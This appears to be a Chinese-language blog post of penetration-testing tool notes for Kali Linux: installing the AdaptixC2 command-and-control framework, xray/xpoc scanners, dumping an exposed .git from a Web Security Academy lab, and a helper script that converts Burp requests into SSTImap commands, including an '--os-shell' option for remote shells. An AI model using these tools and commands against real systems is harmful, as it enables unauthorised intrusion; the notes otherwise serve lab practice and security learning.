常用工具
x. adaptix
https://github.com/Adaptix-Framework/AdaptixC2
https://www.cnblogs.com/Strandedonsunnyday/p/19994242
sudo apt install adaptixc2
┌──(root㉿kali)-[/usr/share/adaptixc2]
└─# pwd
/usr/share/adaptixc2
┌──(root㉿kali)-[/usr/share/adaptixc2]
└─# ll
总计 55256
-rw-r--r-- 1 root root 1133 4月 9日 16:18 404page.html
-rwxr-xr-x 1 root root 24576240 4月 9日 16:18 AdaptixClient
-rwxr-xr-x 1 root root 31975064 4月 9日 16:18 adaptixserver
drwxr-xr-x 9 root root 4096 7月22日 22:21 extenders
-rw-r--r-- 1 root root 2208 4月 9日 16:18 profile.yaml
-rw-r--r-- 1 root root 1058 7月22日 22:21 server.rsa.crt
-rw-r--r-- 1 root root 1704 7月22日 22:21 server.rsa.key
-rw-r--r-- 1 root root 347 4月 9日 16:18 ssl_gen.sh
# 运行
cd /usr/share/adaptixc2 && ./adaptixserver -profile profile.yaml
# 中文版 AdaptixC2_i18n-0.9.zip 先执行pre_install_linux_all.sh然后更新qt再make即可编译客户端与服务端,建议不要混用
sudo apt update
sudo apt install qt6-tools-dev qt6-tools-dev-tools qt6-l10n-tools
xpoc
https://github.com/chaitin/xpoc
https://github.com/chaitin/xray
https://github.com/chaitin/xray/releases/download/1.9.11/xray_linux_amd64.zip
https://github.com/chaitin/xray/releases/download/xpoc-0.1.0/xpoc_linux_amd64
同步最新插件 单目标扫描扫描指定URL/域名/IP,-o指定报告格式(如.html/.json)
./xpoc pull
./xpoc -t https://example.com -o result.html
被动接收burpsuite流量分析
./xray webscan --listen 127.0.0.1:7777 --html-output scan_report.html
dumpall
https://github.com/0xHJK/dumpall
能直接浏览到.git可以wget -r xxxx.com 放目标地址就可以递归下载了,dumpall似乎下载下来是最终的文件丢失了.git 看不到历史
# 1. 创建虚拟环境
python3 -m venv venv
# 2. 激活虚拟环境
source venv/bin/activate
# 3. 升级 pip
pip install --upgrade pip
# 4. 安装依赖
pip install aiohttp>=3.10.0 aiohttp-proxy
# 5. 安装 dumpall
pip install .
# 6. 运行
python dumpall.py -u https://0af600a103579d0d80193fb700db0076.web-security-academy.net/.git -o /tmp/git
下次使用时的命令
# 进入项目目录
cd /home/kali/python-tools/dumpall
# 激活虚拟环境
source venv/bin/activate
# 然后就可以正常使用 dumpall 了
python dumpall.py -u <目标URL> -o <输出目录>
┌──(venv)─(kali㉿kali)-[~/python-tools/dumpall]
└─$ python dumpall.py -u https://0af600a103579d0d80193fb700db0076.web-security-academy.net/.git -o /tmp/git
___ ___ __ __
/ _ \__ ____ _ ___ / _ | / / / /
/ // / // / ' \/ _ \/ __ |/ /__/ /__
/____/\_,_/_/_/_/ .__/_/ |_/____/____/
/_/
https://github.com/0xHJK/dumpall
---------------------------------------------
v0.4.0 HJK
Target: https://0af600a103579d0d80193fb700db0076.web-security-academy.net/.git
Output Directory: /tmp/git/0af600a103579d0d80193fb700db0076.web-security-academy.net_None_2
Module: dumpall.addons.gitdumper
[200] https://0af600a103579d0d80193fb700db0076.web-security-academy.net/.git/objects/89/44e3b9853691431dc58d5f4978d3940cea4af2 admin_panel.php
[200] https://0af600a103579d0d80193fb700db0076.web-security-academy.net/.git/objects/21/d23f13ce6c704b81857379a3e247e3436f4b26 admin.conf
┌──(venv)─(kali㉿kali)-[~/python-tools/dumpall]
└─$ python dumpall.py -u https://0af600a103579d0d80193fb700db0076.web-security-academy.net/.git -o /tmp/gitdirsearch
https://www.kali.org/tools/dirsearch/
subfinder
https://www.kali.org/tools/subfinder/
ffuf
https://www.kali.org/tools/ffuf/
sstimap
https://www.kali.org/tools/sstimap/
他不像sqlmap一样能直接将burpsuite请求体保存为文件直接sqlmap -r xxx.txt来识别,目前借助脚本来转换一下
cat > burp2sstimap.sh <<'EOF'
#!/bin/bash
# 简化版 burp2sstimap.sh - 只做格式转换,不自动注入点
# 用法: ./burp2sstimap.sh burp_request.txt [--proxy proxy_url] [-e engine]
set -e
if [ "$1" = "-h" ] || [ "$1" = "--help" ]; then
echo "用法: $0 burp_request.txt [--proxy proxy_url] [-e engine]"
echo " --proxy URL 指定代理(如 http://127.0.0.1:8080)"
echo " -e ENGINE 指定模板引擎(如 velocity, django, jinja2)"
echo ""
echo "说明: 请在请求文件中手动将注入参数的值改为 * (例如 param=*)"
exit 0
fi
REQUEST_FILE="$1"
PROXY=""
ENGINE=""
if [ -z "$REQUEST_FILE" ] || [ ! -f "$REQUEST_FILE" ]; then
echo "错误: 必须提供有效的 Burp 请求文件"
exit 1
fi
shift
while [ $# -gt 0 ]; do
case "$1" in
--proxy)
PROXY="$2"
shift 2
;;
-e)
ENGINE="$2"
shift 2
;;
*)
echo "未知选项: $1"
exit 1
;;
esac
done
REQUEST=$(cat "$REQUEST_FILE")
# 提取第一行
FIRST_LINE=$(echo "$REQUEST" | head -1)
METHOD=$(echo "$FIRST_LINE" | cut -d' ' -f1)
FULL_PATH=$(echo "$FIRST_LINE" | cut -d' ' -f2) # 完整路径(含查询参数)
# 提取 Host
HOST=$(echo "$REQUEST" | grep -i "^Host:" | awk '{print $2}' | tr -d '\r')
# 提取 Cookie
COOKIE=$(echo "$REQUEST" | grep -i "^Cookie:" | cut -d' ' -f2- | tr -d '\r')
# 提取其他 Headers(排除 Cookie)
HEADERS_SECTION=$(echo "$REQUEST" | sed -n '2,$p')
HEADERS=$(echo "$HEADERS_SECTION" | sed -n '/^$/q;p' | grep -v -i "^Cookie:")
# 提取 Body(空行后的内容,原样保留,包括用户自己加的 *)
BODY=$(echo "$REQUEST" | sed -n '/^$/,$p' | tail -n +2 | tr -d '\r')
# 构建 URL(https 默认,可改为 http 根据需求)
SCHEME="https"
URL="${SCHEME}://${HOST}${FULL_PATH}"
# 开始构建命令
CMD="sstimap -u \"$URL\""
if [ "$METHOD" = "POST" ]; then
CMD="$CMD -m POST"
if [ -n "$BODY" ]; then
CMD="$CMD -d \"$BODY\""
fi
fi
# 添加 Cookie
if [ -n "$COOKIE" ]; then
CMD="$CMD -C \"$COOKIE\""
fi
# 添加其他 Headers
while IFS= read -r line; do
if [ -n "$line" ]; then
escaped_line=$(echo "$line" | sed 's/"/\\"/g')
CMD="$CMD -H \"$escaped_line\""
fi
done <<< "$HEADERS"
# 添加引擎指定
if [ -n "$ENGINE" ]; then
CMD="$CMD --engine $ENGINE"
fi
# 添加代理
if [ -n "$PROXY" ]; then
CMD="$CMD --proxy \"$PROXY\""
fi
echo "# 生成的 SSTImap 命令(请确保请求文件中已手动标记 * 作为注入点):"
echo "$CMD"
echo ""
echo "# 添加 --os-shell:"
echo "$CMD --os-shell"
EOF
# 使用方式命令后接续burpsuite抓包内容即可,他似乎没法输出poc?打上 --proxy 172.31.0.1:8080 指向burpsuite代理看history吧
┌──(kali㉿kali)-[~]
└─$ ./burp2sstimap.sh r1.txt
# 生成的 SSTImap 命令:
sstimap -u "htt。。。。。。。。。。。。。tch-User: ?1" -H "Sec-Fetch-Dest: document" -H "Referer: https://0a64002b034c2cd081ab7fb1000700df.web-security-academy.net/product/template?productId=18" -H "Accept-Encoding: gzip, deflate, br" -H "Priority: u=0, i"
# 添加 --os-shell 直接拿 Shell:
sstimap -u "ht。。。。。。。。。。。。。document" -H "Referer: https://0a64002b034c2cd081ab7fb1000700df.web-security-academy.net/product/template?productId=18" -H "Accept-Encoding: gzip, deflate, br" -H "Priority: u=0, i" --os-shell
nmap
https://www.kali.org/tools/nmap/
nuclei
https://www.kali.org/tools/nuclei/
seclists
https://www.kali.org/tools/seclists/
SecLists 是渗透测试领域最全面、最常用的字典库集合,包含目录扫描、子域名爆破、用户名、密码、Payload 等各种字典。
└─$ ll /usr/share/seclists
总计 40
drwxr-xr-x 9 root root 4096 6月 9日 23:47 Discovery
drwxr-xr-x 9 root root 4096 6月 9日 23:47 Fuzzing
drwxr-xr-x 8 root root 4096 6月 9日 23:47 Miscellaneous
drwxr-xr-x 15 root root 4096 6月 9日 23:47 Passwords
drwxr-xr-x 3 root root 4096 6月 9日 23:47 Pattern-Matching
drwxr-xr-x 8 root root 4096 6月 9日 23:47 Payloads
-rw-r--r-- 1 root root 4370 2025年 9月19日 README.md
drwxr-xr-x 4 root root 4096 6月 9日 23:47 Usernames
drwxr-xr-x 10 root root 4096 6月 9日 23:47 Web-Shells
┌──(kali㉿kali)-[~/.local]
└─$ du -sh /usr/share/seclists
1.9G /usr/share/seclists
┌──(kali㉿kali)-[~/.local]
└─$ 拓展部分
汉化
# root,滑动到底部选择zh_CN.UTF-8 UTF-8
dpkg-reconfigure locales权限提升
不想kali执行sudo老提示密码可以配置一下
# 安装配置工具
sudo apt install -y kali-grant-root
# 重新配置该工具,执行第二条命令时,会出现一个图形化配置界面,选择“Enable password-less privilege escalation”(启用免密提权)并确认即可
sudo dpkg-reconfigure kali-grant-root切换java
# 查看系统里安装了哪些 Java 或者 ls /usr/lib/jvm/
└─$ update-java-alternatives -l
java-1.21.0-openjdk-amd64 2111 /usr/lib/jvm/java-1.21.0-openjdk-amd64
# 切换默认 Java
└─$ sudo update-alternatives --config java
[sudo] kali 的密码:
有 1 个候选项可用于替换 java (提供 /usr/bin/java)。
选择 路径 优先级 状态
------------------------------------------------------------
* 0 /usr/lib/jvm/java-21-openjdk-amd64/bin/java 2111 自动模式
1 /usr/lib/jvm/java-21-openjdk-amd64/bin/java 2111 手动模式
要维持当前值[*]请按<回车键>,或者键入选择的编号:
# 安装其他版本
sudo apt update
sudo apt install openjdk-11-jdk
sudo apt install openjdk-17-jdk
sudo apt install openjdk-21-jdk
# 临时切换(当前终端)有些工具只支持 Java 8 或 Java 11,可以临时指定:关闭终端后恢复原样。
export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64
export PATH=$JAVA_HOME/bin:$PATHvim 无法右键
https://www.cnblogs.com/chris-jia/articles/16229350.html
输入法
不要用wayland要用x11
https://www.bilibili.com/video/BV1tEPEzoEi1/?spm_id_from=333.337.search-card.all.click&vd_source=f7c60f687e2fb41b124928be21e0a89a
https://docs.asoe.cn/post/18.html
文件浏览器
装完docker logs -f filebrowser 看密码,避免手动操作反复下载文件,可以加速在浏览器直接访问文件目录比较便捷
# 1. 创建目录和配置
mkdir -p /data/filebrowser/{config,database}
cd /data/filebrowser
cat > config/settings.json <<EOF
{
"port": 80,
"address": "",
"database": "/config/filebrowser.db",
"root": "/srv",
"locale": "zh-cn"
}
EOF
docker run -d \
--name=filebrowser \
--user root \
--restart=unless-stopped \
-p 7777:80 \
-v /:/srv \
-v /data/filebrowser/config:/config \
-v /data/filebrowser/database:/database \
filebrowser/filebrowser:latest
评论